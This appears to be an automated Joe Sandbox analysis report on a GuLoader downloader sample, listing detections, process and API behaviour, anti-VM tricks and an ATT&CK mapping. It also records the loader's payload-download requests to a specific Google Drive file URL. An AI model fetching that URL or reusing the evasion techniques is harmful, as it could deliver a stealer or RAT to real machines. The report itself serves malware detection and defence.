Edit tour

Windows Analysis Report
Vidneafhring.exe

Overview

General Information

Sample name:	Vidneafhring.exe
Analysis ID:	1619374
MD5:	24c3013ee542b77eb416866a4dcdf66e
SHA1:	3d9ae42b17acc38c9f8425124ddc7fdc7fbde6c0
SHA256:	f13819d061e77a6a071a72f23e5daa4751db395492773280bd8e6285f0942e84
Tags:	exeguloaderuser-malwarelabnet
Infos:

Detection

GuLoader

Score:	80
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected GuLoader

AI detected suspicious PE digital signature

Joe Sandbox ML detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Abnormal high CPU Usage

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found dropped PE file which has not been started or loaded

JA3 SSL client fingerprint seen in connection with other malware

PE / OLE file has an invalid certificate

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

Vidneafhring.exe (PID: 6932 cmdline: "C:\Users\user\Desktop\Vidneafhring.exe" MD5: 24C3013EE542B77EB416866A4DCDF66E)

Vidneafhring.exe (PID: 6404 cmdline: "C:\Users\user\Desktop\Vidneafhring.exe" MD5: 24C3013EE542B77EB416866A4DCDF66E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2561094326.00000000055D3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-19T20:37:23.879546+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49976	142.250.185.78	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Vidneafhring.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: Vidneafhring.exe	Virustotal: Detection: 31%			Perma Link
Source: Vidneafhring.exe	ReversingLabs: Detection: 47%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: Vidneafhring.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.8:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.33:443 -> 192.168.2.8:49977 version: TLS 1.2

Source: Vidneafhring.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Vidneafhring.exe, 00000006.00000001.2559423242.0000000000649000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: mshtml.pdbUGP source: Vidneafhring.exe, 00000006.00000001.2559423242.0000000000649000.00000020.00000001.01000000.00000009.sdmp

Source: C:\Users\user\Desktop\Vidneafhring.exe	Code function: 0_2_00405A19 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405A19
Source: C:\Users\user\Desktop\Vidneafhring.exe	Code function: 0_2_004027CF FindFirstFileA,	0_2_004027CF
Source: C:\Users\user\Desktop\Vidneafhring.exe	Code function: 0_2_004065EA FindFirstFileA,FindClose,	0_2_004065EA

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49976 -> 142.250.185.78:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: Vidneafhring.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Vidneafhring.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Vidneafhring.exe, 00000006.00000001.2559423242.0000000000649000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.ftp.ftp://ftp.gopher.
Source: Vidneafhring.exe, 00000006.00000001.2559423242.00000000005F2000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: Vidneafhring.exe, 00000006.00000001.2559423242.00000000005F2000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: Vidneafhring.exe, 00000006.00000003.2677151559.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Vidneafhring.exe, 00000006.00000002.2760257608.0000000003B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/4
Source: Vidneafhring.exe, 00000006.00000002.2760257608.0000000003B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/L
Source: Vidneafhring.exe, 00000006.00000002.2760257608.0000000003B68000.00000004.00000020.00020000.00000000.sdmp, Vidneafhring.exe, 00000006.00000002.2779439597.0000000033130000.00000004.00001000.00020000.00000000.sdmp, Vidneafhring.exe, 00000006.00000002.2760257608.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8
Source: Vidneafhring.exe, 00000006.00000002.2760257608.0000000003BA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8ts
Source: Vidneafhring.exe, 00000006.00000002.2760257608.0000000003B68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8~
Source: Vidneafhring.exe, 00000006.00000003.2683817868.0000000003BD6000.00000004.00000020.00020000.00000000.sdmp, Vidneafhring.exe, 00000006.00000003.2713022494.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp, Vidneafhring.exe, 00000006.00000002.2760364198.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Vidneafhring.exe, 00000006.00000002.2760257608.0000000003BB0000.00000004.00000020.00020000.00000000.sdmp, Vidneafhring.exe, 00000006.00000003.2683817868.0000000003BD6000.00000004.00000020.00020000.00000000.sdmp, Vidneafhring.exe, 00000006.00000003.2677151559.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp, Vidneafhring.exe, 00000006.00000002.2760257608.0000000003BC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=10gYJMPNy2et7V1tdqyjpPguruAcX-tA8&export=download
Source: Vidneafhring.exe, 00000006.00000001.2559423242.0000000000649000.00000020.00000001.01000000.00000009.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: Vidneafhring.exe, 00000006.00000003.2677151559.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Vidneafhring.exe, 00000006.00000003.2677151559.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Vidneafhring.exe, 00000006.00000003.2677151559.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Vidneafhring.exe, 00000006.00000003.2677151559.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Vidneafhring.exe, 00000006.00000003.2677151559.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976

Source: unknown	HTTPS traffic detected: 142.250.185.78:443 -> 192.168.2.8:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.33:443 -> 192.168.2.8:49977 version: TLS 1.2

Source: C:\Users\user\Desktop\Vidneafhring.exe

Code function: 0_2_004054D9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004054D9

Source: C:\Users\user\Desktop\Vidneafhring.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Vidneafhring.exe

Code function: 0_2_004033A2 EntryPoint,SetErrorMode,GetVersionExA,GetVersionExA,GetVersionExA,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrlenA,wsprintfA,GetFileAttributesA,DeleteFileA,SetCurrentDirectoryA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_004033A2

Source: C:\Users\user\Desktop\Vidneafhring.exe

File created: C:\Windows\resources\0809

Jump to behavior

Source: C:\Users\user\Desktop\Vidneafhring.exe	Code function: 0_2_00406973		0_2_00406973
Source: C:\Users\user\Desktop\Vidneafhring.exe	Code function: 0_2_70131B28		0_2_70131B28

Source: Vidneafhring.exe

Static PE information: invalid certificate

Source: Vidneafhring.exe, 00000000.00000002.2559808993.0000000000449000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamevirkelighedssansen.exe8 vs Vidneafhring.exe
Source: Vidneafhring.exe, 00000006.00000000.2556858705.0000000000449000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamevirkelighedssansen.exe8 vs Vidneafhring.exe
Source: Vidneafhring.exe	Binary or memory string: OriginalFilenamevirkelighedssansen.exe8 vs Vidneafhring.exe

Source: Vidneafhring.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal80.troj.evad.winEXE@3/27@2/2

Source: C:\Users\user\Desktop\Vidneafhring.exe

0_2_004033A2

Source: C:\Users\user\Desktop\Vidneafhring.exe

Code function: 0_2_00404789 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_00404789

Source: C:\Users\user\Desktop\Vidneafhring.exe

Code function: 0_2_00402198 CoCreateInstance,MultiByteToWideChar,

0_2_00402198

Source: C:\Users\user\Desktop\Vidneafhring.exe

File created: C:\Users\user\AppData\Roaming\objectivistic

Jump to behavior

Source: C:\Users\user\Desktop\Vidneafhring.exe

File created: C:\Users\user\AppData\Local\Temp\nsl5783.tmp

Jump to behavior

Source: Vidneafhring.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Vidneafhring.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Vidneafhring.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Vidneafhring.exe	Virustotal: Detection: 31%
Source: Vidneafhring.exe	ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\Vidneafhring.exe

File read: C:\Users\user\Desktop\Vidneafhring.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Vidneafhring.exe "C:\Users\user\Desktop\Vidneafhring.exe"
Source: C:\Users\user\Desktop\Vidneafhring.exe	Process created: C:\Users\user\Desktop\Vidneafhring.exe "C:\Users\user\Desktop\Vidneafhring.exe"
Source: C:\Users\user\Desktop\Vidneafhring.exe	Process created: C:\Users\user\Desktop\Vidneafhring.exe "C:\Users\user\Desktop\Vidneafhring.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Vidneafhring.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Vidneafhring.exe

File written: C:\Users\user\resuscitant\Daasel\Savvrksarbejderes\pixieish.ini

Jump to behavior

Source: Vidneafhring.exe

Static file information: File size 1105632 > 1048576

Source: Vidneafhring.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Vidneafhring.exe, 00000006.00000001.2559423242.0000000000649000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: mshtml.pdbUGP source: Vidneafhring.exe, 00000006.00000001.2559423242.0000000000649000.00000020.00000001.01000000.00000009.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2561094326.00000000055D3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Vidneafhring.exe

Code function: 0_2_70131B28 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_70131B28

Persistence and Installation Behavior

AI detected suspicious PE digital signature

Source: Initial sample

Joe Sandbox AI: Detected suspicious elements in PE signature: Multiple highly suspicious indicators: 1) Self-signed certificate where issuer matches subject exactly 2) Uses a non-standard, suspicious email domain 'Multifunktionsko.Nom' 3) Organization name 'Thoracostracan' appears unusual and non-corporate 4) Certificate validation explicitly fails with untrusted root certificate 5) Certificate and compilation dates are set in the future relative to current date (March/April 2024 vs February 2024), suggesting possible timestamp manipulation 6) While the country code is DE (Germany) which is generally trusted, other elements of the certificate appear designed to look legitimate while being suspicious. The combination of a self-signed certificate, future dates, and unusual organization/email details strongly suggests this is a malicious attempt to appear legitimate.

Source: C:\Users\user\Desktop\Vidneafhring.exe	File created: C:\Users\user\AppData\Local\Temp\nsi680F.tmp\System.dll			Jump to dropped file
Source: C:\Users\user\Desktop\Vidneafhring.exe	File created: C:\Users\user\AppData\Local\Temp\nsi680F.tmp\LangDLL.dll			Jump to dropped file

Source: C:\Users\user\Desktop\Vidneafhring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vidneafhring.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Vidneafhring.exe	API/Special instruction interceptor: Address: 59DDF47
Source: C:\Users\user\Desktop\Vidneafhring.exe	API/Special instruction interceptor: Address: 25DDF47

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Vidneafhring.exe	RDTSC instruction interceptor: First address: 5999B67 second address: 5999B67 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FC4191050AAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 jmp 00007FC41910512Eh 0x0000000a test dh, bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Vidneafhring.exe	RDTSC instruction interceptor: First address: 2599B67 second address: 2599B67 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FC419104DAAh 0x00000006 inc ebp 0x00000007 inc ebx 0x00000008 jmp 00007FC419104E2Eh 0x0000000a test dh, bh 0x0000000c rdtsc

Source: C:\Users\user\Desktop\Vidneafhring.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi680F.tmp\System.dll			Jump to dropped file
Source: C:\Users\user\Desktop\Vidneafhring.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi680F.tmp\LangDLL.dll			Jump to dropped file

Source: C:\Users\user\Desktop\Vidneafhring.exe	Code function: 0_2_00405A19 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_00405A19
Source: C:\Users\user\Desktop\Vidneafhring.exe	Code function: 0_2_004027CF FindFirstFileA,	0_2_004027CF
Source: C:\Users\user\Desktop\Vidneafhring.exe	Code function: 0_2_004065EA FindFirstFileA,FindClose,	0_2_004065EA

Source: Vidneafhring.exe, 00000006.00000002.2760257608.0000000003B68000.00000004.00000020.00020000.00000000.sdmp, Vidneafhring.exe, 00000006.00000002.2760257608.0000000003BC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Vidneafhring.exe, 00000006.00000002.2760257608.0000000003BC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd

Source: C:\Users\user\Desktop\Vidneafhring.exe	API call chain: ExitProcess graph end node			graph_0-5075
Source: C:\Users\user\Desktop\Vidneafhring.exe	API call chain: ExitProcess graph end node			graph_0-4925

Source: C:\Users\user\Desktop\Vidneafhring.exe

Code function: 0_2_70131B28 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_70131B28

Source: C:\Users\user\Desktop\Vidneafhring.exe

Process created: C:\Users\user\Desktop\Vidneafhring.exe "C:\Users\user\Desktop\Vidneafhring.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Vidneafhring.exe

0_2_004033A2

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Access Token Manipulation	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	23 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Vidneafhring.exe	32%	Virustotal		Browse
Vidneafhring.exe	47%	ReversingLabs	Win32.Trojan.NSISInject
Vidneafhring.exe	100%	Avira	HEUR/AGEN.1331786

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\nsi680F.tmp\LangDLL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsi680F.tmp\LangDLL.dll	1%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nsi680F.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsi680F.tmp\System.dll	1%	Virustotal	Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
drive.google.com	142.250.185.78	true	false		high
drive.usercontent.google.com	216.58.206.33	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	Vidneafhring.exe, 00000006.00000001.2559423242.00000000005F2000.00000020.00000001.01000000.00000009.sdmp	false	high
https://www.google.com	Vidneafhring.exe, 00000006.00000003.2677151559.0000000003BD9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.ftp.ftp://ftp.gopher.	Vidneafhring.exe, 00000006.00000001.2559423242.0000000000649000.00000020.00000001.01000000.00000009.sdmp	false	high
